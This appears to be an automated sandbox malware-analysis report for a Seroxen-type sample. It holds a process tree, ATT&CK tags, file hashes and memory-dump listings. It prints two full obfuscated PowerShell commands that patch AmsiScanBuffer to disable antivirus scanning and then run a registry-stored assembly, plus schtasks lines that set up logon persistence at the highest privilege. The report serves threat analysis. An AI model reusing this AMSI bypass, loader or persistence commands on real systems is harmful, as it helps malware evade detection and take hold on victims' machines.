$_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+'s'+[Char](116)+''+'e'+'m'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+'i'+''+[Char](99)+''+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+'t'+[Char](46)+'W'+[Char](105)+'n3'+'2'+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+'af'+'e'+''+'N'+''+'a'+''+[Char](116)+'i'+'v'+''+'e'+''+[Char](77)+''+'e'+''+'t'+'h'+[Char](111)+'d'+[Char](115)+'');$lVEDeSlznqfxmD=$raAYPElaBkkuD.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'P'+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+'d'+'d'+''+[Char](114)+'e'+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+'blic,'+[Char](83)+'t'+'a'+'tic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$MvfMsTwrefgYjLyWoYV=BINKnIHxwiey @([String])([IntPtr]);$HwZQnwlxZCtiHFXAfjhpBV=BINKnIHxwiey @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$SwSavzUwlNI=$raAYPElaBkkuD.GetMethod(''+[Char](71)+'e'+'t'+''+[Char](77)+'o'+'d'+''+'u'+''+'l'+'eHa'+[Char](110)+''+[Char](100)+'le').Invoke($Null,@([Object]('k'+[Char](101)+'rn'+[Char](101)+''+'l'+''+'3'+''+[Char](50)+''+'.'+'d'+[Char](108)+''+[Char](108)+'')));$byWtraWecOaFvt=$lVEDeSlznqfxmD.Invoke($Null,@([Object]$SwSavzUwlNI,[Object]('L'+'o'+''+[Char](97)+''+'d'+'L'+[Char](105)+''+[Char](98)+''+'r'+'a'+[Char](114)+''+'y'+''+[Char](65)+'')));$uydOAFHoiHzeyfcLU=$lVEDeSlznqfxmD.Invoke($Null,@([Object]$SwSavzUwlNI,[Object]('V'+'i'+''+'r'+'t'+'u'+''+[Char](97)+'l'+[Char](80)+''+[Char](114)+''+'o'+'t'+'e'+''+'c'+''+'t'+'')));$JupGxkl=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($byWtraWecOaFvt,$MvfMsTwrefgYjLyWoYV).Invoke(''+[Char](97)+''+[Char](109)+'s'+'i'+'.d'+'l'+''+[Char](108)+'');$EKymQkFiUAOEGebdW=$lVEDeSlznqfxmD.Invoke($Null,@([Object]$JupGxkl,[Object](''+[Char](65)+''+'m'+'s'+[Char](105)+''+[Char](83)+'canB'+[Char](117)+''+[Char](102)+''+'f'+''+'e'+''+[Char](114)+'')));$cTTZrVqztd=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uydOAFHoiHzeyfcLU,$HwZQnwlxZCtiHFXAfjhpBV).Invoke($EKymQkFiUAOEGebdW,[uint32]8,4,[ref]$cTTZrVqztd);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$EKymQkFiUAOEGebdW,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uydOAFHoiHzeyfcLU,$HwZQnwlxZCtiHFXAfjhpBV).Invoke($EKymQkFiUAOEGebdW,[uint32]8,0x20,[ref]$cTTZrVqztd);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+[Char](84)+''+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+'7'+''+'7'+''+[Char](115)+''+[Char](116)+'ag'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:pUSaQiSGOuFK{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ijMkakVQJFvMRs,[Parameter(Position=1)][Type]$MAVKEdsCtw)$uOHCZQGmVQB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+'f'+[Char](108)+''+[Char](101)+'c'+[Char](116)+''+[Char](101)+''+'d'+''+'D'+'el'+[Char](101)+''+'g'+''+'a'+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+'yM'+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+'t'+'e'+[Char](84)+''+'y'+''+'p'+''+'e'+'',''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+'s'+',Pu'+[Char](98)+''+[Char](108)+'i'+[Char](99)+','+[Char](83)+'e'+[Char](97)+''+'l'+''+[Char](101)+'d'+[Char](44)+'An'+[Char](115)+''+[Char](105)+''+'C'+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+'u'+[Char](116)+'o'+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+'s'+'',[MulticastDelegate]);$uOHCZQGmVQB.DefineConstructor(''+'R'+'TS'+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+''+[Char](108)+'Na'+[Char](109)+'e'+[Char](44)+'H'+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](80)+'u'+'b'+'l'+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$ijMkakVQJFvMRs).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+'t'+''+'i'+'m'+'e'+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+'a'+''+'g'+''+[Char](101)+'d');$uOHCZQGmVQB.DefineMethod(''+'I'+'n'+[Char](118)+''+'o'+''+[Char](107)+''+'e'+'',''+[Char](80)+''+[Char](117)+''+'b'+'l'+'i'+''+'c'+''+','+'H'+[Char](105)+''+'d'+''+[Char](101)+'By'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'N'+'e'+''+'w'+'S'+'l'+''+[Char](111)+''+[Char](116)+''+','+''+[Char](86)+''+'i'+'r'+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+'',$MAVKEdsCtw,$ijMkakVQJFvMRs).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+'t'+''+[Char](105)+''+'m'+''+'e'+''+[Char](44)+'M'+'a'+''+[Char](110)+'ag'+[Char](101)+''+'d'+'');Write-Output $uOHCZQGmVQB.CreateType();}$DNRZRhPmiHQid=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+'s'+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+''+'d'+''+'l'+''+'l'+'')}).GetType('M'+'i'+'cr'+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+'Wi'+[Char](110)+''+[Char](51)+'2.'+[Char](85)+''+[Char](110)+'s'+[Char](97)+''+[Char](102)+''+'e'+''+'N'+'a'+'t'+'i'+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+'t'+'ho'+[Char](100)+''+'s'+'');$nwCofUcARRsoNF=$DNRZRhPmiHQid.GetMethod(''+'G'+''+[Char](101)+'tP'+'r'+''+[Char](111)+'cAd'+[Char](100)+'r'+'e'+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+','+[Char](83)+''+[Char](116)+''+'a'+''+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$JAmdtQdLdFsWdxZZvpm=pUSaQiSGOuFK @([String])([IntPtr]);$sEkyDoEbGXtkXZXgQdNGPK=pUSaQiSGOuFK @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$MbAAdmtlKKt=$DNRZRhPmiHQid.GetMethod(''+'G'+'e'+[Char](116)+''+'M'+'o'+[Char](100)+'u'+'l'+''+[Char](101)+''+[Char](72)+''+'a'+''+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'ern'+[Char](101)+''+'l'+'3'+[Char](50)+'.'+'d'+''+[Char](108)+''+'l'+'')));$znChLIGnqlskyo=$nwCofUcARRsoNF.Invoke($Null,@([Object]$MbAAdmtlKKt,[Object]('L'+'o'+''+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+'y'+'A')));$YrfoTHOoILQyMgEOb=$nwCofUcARRsoNF.Invoke($Null,@([Object]$MbAAdmtlKKt,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+'c'+[Char](116)+'')));$ImBdQmI=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($znChLIGnqlskyo,$JAmdtQdLdFsWdxZZvpm).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'');$aSBEThjEkIESdEFGM=$nwCofUcARRsoNF.Invoke($Null,@([Object]$ImBdQmI,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+'i'+''+[Char](83)+''+'c'+'a'+[Char](110)+''+'B'+''+'u'+''+'f'+''+'f'+''+[Char](101)+''+[Char](114)+'')));$usjpOjiISt=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YrfoTHOoILQyMgEOb,$sEkyDoEbGXtkXZXgQdNGPK).Invoke($aSBEThjEkIESdEFGM,[uint32]8,4,[ref]$usjpOjiISt);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$aSBEThjEkIESdEFGM,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YrfoTHOoILQyMgEOb,$sEkyDoEbGXtkXZXgQdNGPK).Invoke($aSBEThjEkIESdEFGM,[uint32]8,0x20,[ref]$usjpOjiISt);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'TW'+'A'+''+'R'+''+'E'+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+'s'+''+'t'+'ag'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2020
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1152

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1200

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1408
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  - Modifies registry class
  PID:2584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1592

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1604

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1780

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1992

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1512

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1700

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2160

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2264

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2784

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2816

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2836

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3476

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of UnmapMainImage
PID:3520
- C:\Users\Admin\AppData\Local\Temp\Uni.exe
  "C:\Users\Admin\AppData\Local\Temp\Uni.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3952
- - C:\Windows\SysWOW64\schtasks.exe
    "schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:3204
- - C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe
    "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3592
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:3264
  - - C:\Users\Admin\AppData\Local\Temp\install.exe
      "C:\Users\Admin\AppData\Local\Temp\install.exe"
      4⤵
      Executes dropped EXE
      PID:2944
- - C:\Users\Admin\AppData\Local\Temp\install.exe
    "C:\Users\Admin\AppData\Local\Temp\install.exe"
    3⤵
    - Executes dropped EXE
    PID:2660
- - C:\Windows\SysWOW64\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3680

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3884

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:4044

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4128

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3740

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4368

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:5076

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2440

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2976

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:768

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:112

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:5000

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3280

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:3852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\install.exe

Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe

Filesize
409KB

MD5
7417c8c73e614f293152575f46134216

SHA1
cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805

SHA256
00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3

SHA512
897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_4vat22fu.lt4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187

Filesize
412B

MD5
544d935d8a771959fa6d0afeb1a1514f

SHA1
901b12d5db14cfc13fd94155b4150a36f0a13313

SHA256
09a292027c75b452ed7a917d9c2603b5c89138557c633a9f18239e3f3b139e20

SHA512
152bd2a6e60f14ce5cdc9081ffa97ef6fcd65e22762bac55250dacf9972df3514eb56e86df4750178567e775db25d9b342078e88b71557672e6817ad26c3bb33

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
435B

MD5
7d94cc4c650af238a51456db5feee0f0

SHA1
f91d540a095b3c9c16d96c1ded90f01f9ae388aa

SHA256
b0e0013c4b327c9d81798ed5d346dff9cf7ce8e2820c0392a0703469adaaa087

SHA512
1604091938fa4d62756fca031af871d14b3cb0fdaaaa933812f2a3b23e25f218792c83646d770979368512d6d0cf3c4812fbc5bfa4ed8dda25348a3a2370c20e

Download Submit
memory/616-69-0x000001ED80940000-0x000001ED80965000-memory.dmp

Filesize
148KB

Download
memory/616-70-0x000001ED80970000-0x000001ED8099B000-memory.dmp

Filesize
172KB

Download
memory/616-73-0x000001ED80970000-0x000001ED8099B000-memory.dmp

Filesize
172KB

Download
memory/616-79-0x000001ED80970000-0x000001ED8099B000-memory.dmp

Filesize
172KB

Download
memory/616-80-0x00007FFCD82B0000-0x00007FFCD82C0000-memory.dmp

Filesize
64KB

Download
memory/668-84-0x00000208F1C30000-0x00000208F1C5B000-memory.dmp

Filesize
172KB

Download
memory/668-90-0x00000208F1C30000-0x00000208F1C5B000-memory.dmp

Filesize
172KB

Download
memory/668-91-0x00007FFCD82B0000-0x00007FFCD82C0000-memory.dmp

Filesize
64KB

Download
memory/956-102-0x00007FFCD82B0000-0x00007FFCD82C0000-memory.dmp

Filesize
64KB

Download
memory/956-95-0x000002630A640000-0x000002630A66B000-memory.dmp

Filesize
172KB

Download
memory/956-101-0x000002630A640000-0x000002630A66B000-memory.dmp

Filesize
172KB

Download
memory/964-30-0x0000011E74600000-0x0000011E74622000-memory.dmp

Filesize
136KB

Download
memory/964-45-0x0000011E74870000-0x0000011E7489A000-memory.dmp

Filesize
168KB

Download
memory/964-47-0x00007FFD16360000-0x00007FFD1641E000-memory.dmp

Filesize
760KB

Download
memory/964-46-0x00007FFD18230000-0x00007FFD18425000-memory.dmp

Filesize
2.0MB

Download
memory/1020-106-0x000001C313FC0000-0x000001C313FEB000-memory.dmp

Filesize
172KB

Download
memory/1492-71-0x00007FFD18230000-0x00007FFD18425000-memory.dmp

Filesize
2.0MB

Download
memory/1492-72-0x00007FFD16360000-0x00007FFD1641E000-memory.dmp

Filesize
760KB

Download
memory/2020-58-0x00007FFD18230000-0x00007FFD18425000-memory.dmp

Filesize
2.0MB

Download
memory/2020-59-0x00007FFD16360000-0x00007FFD1641E000-memory.dmp

Filesize
760KB

Download
memory/3112-56-0x00007FFD18230000-0x00007FFD18425000-memory.dmp

Filesize
2.0MB

Download
memory/3112-50-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3112-66-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3112-57-0x00007FFD16360000-0x00007FFD1641E000-memory.dmp

Filesize
760KB

Download
memory/3112-55-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3112-48-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3112-49-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3112-51-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3592-14-0x0000000074700000-0x0000000074EB0000-memory.dmp

Filesize
7.7MB

Download
memory/3592-35-0x00000000065A0000-0x00000000065AA000-memory.dmp

Filesize
40KB

Download
memory/3592-1317-0x0000000074700000-0x0000000074EB0000-memory.dmp

Filesize
7.7MB

Download
memory/3592-1316-0x0000000074700000-0x0000000074EB0000-memory.dmp

Filesize
7.7MB

Download
memory/3592-13-0x0000000074700000-0x0000000074EB0000-memory.dmp

Filesize
7.7MB

Download
memory/3952-5-0x0000000005240000-0x00000000052A6000-memory.dmp

Filesize
408KB

Download
memory/3952-6-0x0000000005F80000-0x0000000005F92000-memory.dmp

Filesize
72KB

Download
memory/3952-7-0x00000000064C0000-0x00000000064FC000-memory.dmp

Filesize
240KB

Download
memory/3952-4-0x0000000074700000-0x0000000074EB0000-memory.dmp

Filesize
7.7MB

Download
memory/3952-3-0x00000000051A0000-0x0000000005232000-memory.dmp

Filesize
584KB

Download
memory/3952-2-0x0000000005690000-0x0000000005C34000-memory.dmp

Filesize
5.6MB

Download
memory/3952-0-0x000000007470E000-0x000000007470F000-memory.dmp

Filesize
4KB

Download
memory/3952-20-0x0000000074700000-0x0000000074EB0000-memory.dmp

Filesize
7.7MB

Download
memory/3952-1-0x00000000006F0000-0x000000000075C000-memory.dmp

Filesize
432KB

Download